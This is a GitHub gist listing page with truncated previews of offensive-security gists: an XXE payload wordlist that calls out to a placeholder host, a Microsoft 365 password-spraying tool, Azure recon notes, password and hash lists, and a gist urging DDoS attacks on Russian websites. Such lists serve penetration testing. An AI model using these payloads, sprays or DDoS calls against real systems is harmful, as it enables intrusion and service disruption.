nyxgeek’s gists

HackingLZ / m365_osint_recon.py

Created August 7, 2025 16:28

	#!/usr/bin/env python3
	"""
	M365 OSINT Reconnaissance Tool
	Based on techniques from: https://dstreefkerk.github.io/2025-07-m365-email-osint-after-lockdown/

	This script performs modern M365/Azure AD reconnaissance after Microsoft's lockdown of traditional
	enumeration methods. It uses multiple validation techniques to discover organizational information
	and attempts to infer MOERA domains.
	"""

piaudonn / ids

Last active October 13, 2025 07:28

First-party Microsoft service principal ids

	ACOM Azure Website,23523755-3a2b-41ca-9315-f81f3f566a95
	AEM-DualAuth,69893ee3-dd10-4b1c-832d-4870354be3d8
	ASM Campaign Servicing,0cb7b9ec-5336-483b-bc31-b15b5788de71
	Azure Advanced Threat Protection,7b7531ad-5926-4f2d-8a1d-38495ad33e17
	Azure Data Lake,e9f49c6b-5ce5-44c8-925d-015017e9f7ad
	Azure Lab Services Portal,835b2a73-6e10-4aa5-a979-21dfda45231c
	Azure Portal,c44b4083-3bb0-49c1-b47d-974e53cbdf3c
	AzureSupportCenter,37182072-3c9c-4f6a-a4b3-b3f91cacffce
	Bing,9ea1ad79-fdb6-4f9a-8bc3-2b70f96e34c7
	CPIM Service,bb2a2e3a-c5e7-4f0a-88e0-8e01fd3fc1f4

sergeyzenchenko / russia-ddos.md

Last active December 22, 2025 06:21

Russia DDOS list

Help Ukraine by attacking Russian web sites. Good load testing training.

Tools:

iknowjason / az-enum.sh

Last active September 8, 2025 14:11

Azure Enum & Recon Cheat Sheet

	# Start with a DNS domain as seed, and do some recon to check if domain is M365 / Azure tenant hosted
	# Insert your domain environment variable below
	DOMAIN="microsoft.com"

	# Check the getuserrealm.srf endpoint for domain information

	# Check autodiscover.$DOMAIN DNS entry
	host autodiscover.$DOMAIN
	# Note: Checks autodiscover forward lookup ~ you should see a CNAME record for autodiscover.$DOMAIN pointing to autodiscover.otulook.com

honoki / xxe-payloads.txt

Last active February 15, 2026 09:20

XXE bruteforce wordlist including local DTD payloads from https://github.com/GoSecure/dtd-finder

	<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x SYSTEM "http://xxe-doctype-system.yourdomain[.]com/"><x />
	<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x PUBLIC "" "http://xxe-doctype-public.yourdomain[.]com/"><x />
	<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY xxe SYSTEM "http://xxe-entity-system.yourdomain[.]com/">]><x>&xxe;</x>
	<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY xxe PUBLIC "" "http://xxe-entity-public.yourdomain[.]com/">]><x>&xxe;</x>
	<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY % xxe SYSTEM "http://xxe-paramentity-system.yourdomain[.]com/">%xxe;]><x/>
	<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY % xxe PUBLIC "" "http://xxe-paramentity-public.yourdomain[.]com/">%xxe;]><x/>
	<?xml version="1.0" encoding="utf-8" standalone="no" ?><x xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xxe-xsi-schemalocation.y

roycewilliams / descrypt-guest-allsalts.txt

Last active June 19, 2020 05:54

descrypt-guest-allsalts.txt

	# All possible descrypt hashes of the password 'root', using all possible salts.
	# Some may be commented on the side - strip before using.
	# Superseded by https://github.com/roycewilliams/kens-salty-rainbow
	..ZkwGDiWjEEs
	./jkLSFjCk/Jc
	.07L2iSKaKAok
	.149ilA25jxsY
	.2ngP8zTPjtnI
	.3XGo0H6c.xKc
	.4ZUazRUVNmGQ

roycewilliams / unhex-full.pl

Created May 23, 2020 22:37

unhex-full.pl

	#!/usr/bin/env perl

	# Created: 2016-06-15
	# Credit: undeath, https://hashcat.net/forum/thread-3522.html

	use utf8;
	#use open ':std', ':encoding(UTF-8)';

	while (<>) {
	if ($_ =~ m/(.*):\$HEX\[([A-Fa-f0-9]+)\]/) {

byt3bl33d3r / msol_spray.py

Last active October 20, 2025 03:02

Fully async python port of @dafthacks MSOLSpray (https://github.com/dafthack/MSOLSpray)

	#! /usr/bin/env python3

	#
	# Requires Python 3.7+ & aiohttp (speedups recommended)
	# pip3 install aiohttp[speedups]
	#

	import sys
	import asyncio
	import aiohttp

Created December 28, 2019 03:37

internet-alaska_spleen_unknown-date_71d9da015e67eed357c537f5308142d617ff7420e4d68a76d0a843ea915cffd9.txt

	hello one and all,

	In the spirit of the Communications Decency Act, this newsletter has been

	* "approved" by all self-appointed authorities
	* "dumbed down" to third grade reading level
	* "cleared" for transmission by government decrypters and
	* "broadcast" by your local Cable/IXC/LEC Converg-opolis

	Still, lots of interesting news, I wouldn't skip a word if I were you.

roycewilliams / real-world-initialism-passwords.txt

Last active June 24, 2020 08:59

real-world-initialism-passwords.txt

	# Simple sample of real-word passwords that are initialisms of known phrases.
	# Inspired by discussion at https://twitter.com/TychoTithonus/status/1170724414431715329

	# Base "words" (can you tell what quotes / songs they're from?)
	1mp&1c11wt
	1mp@1c11wt
	1mpa1c11wt
	Batmf,tsite
	Batmftsite
	Batp,ftsbccog

nyxgeek nyxgeek